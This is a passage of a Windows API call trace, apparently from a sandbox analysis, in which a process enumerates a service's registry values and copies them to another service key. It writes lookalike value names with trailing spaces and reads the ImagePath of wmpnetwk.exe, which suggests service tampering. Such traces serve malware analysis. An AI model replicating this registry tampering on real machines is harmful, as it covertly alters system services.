(HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0258.181] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0258.181] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0258.181] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0258.181] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0258.181] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.181] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.182] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0258.182] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0258.182] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0258.182] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0258.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0258.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0258.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.183] RegQueryValueExA (in: hKey=0x148, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0258.183] RegQueryValueExA (in: hKey=0x148, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1c40, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x7, lpData=0x21f1c40*, lpcbData=0x36f45c*=0x6) returned 0x0 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0258.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0258.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0258.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0258.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0258.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0258.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0258.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0258.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0258.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0258.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0258.184] RegQueryValueExA (in: hKey=0xc4, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0258.184] RegQueryValueExA (in: hKey=0xc4, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1e38, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0258.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0258.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0258.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0258.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0258.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0258.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0258.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0258.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0258.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0258.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0258.185] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0258.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0258.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0258.185] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="http", cbData=0x5 | out: lpData="http") returned 0x0 [0258.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0258.185] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0258.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0258.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0258.186] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0258.186] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.186] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0258.186] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0258.186] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.186] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.186] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0258.186] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0258.186] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0258.187] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0258.187] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0258.187] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0258.187] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0258.187] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0258.187] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0258.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0258.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0258.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0258.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0258.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0258.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0258.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0258.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0258.188] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0258.188] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0258.188] RegQueryValueExA (in: hKey=0x148, lpValueName="ImagePath", lpReserved=0x0, lpType=0x36f450, lpData=0x0, lpcbData=0x36f458*=0x0 | out: lpType=0x36f450*=0x2, lpData=0x0, lpcbData=0x36f458*=0x33) returned 0x0 [0258.188] RegQueryValueExA (in: hKey=0x148, lpValueName="ImagePath", lpReserved=0x0, lpType=0x36f450, lpData=0x21f19b8, lpcbData=0x36f458*=0x33 | out: lpType=0x36f450*=0x2, lpData="\"%PROGRAMFILES%\\Windows Media Player\\wmpnetwk.exe\"", lpcbData=0x36f458*=0x33) returned 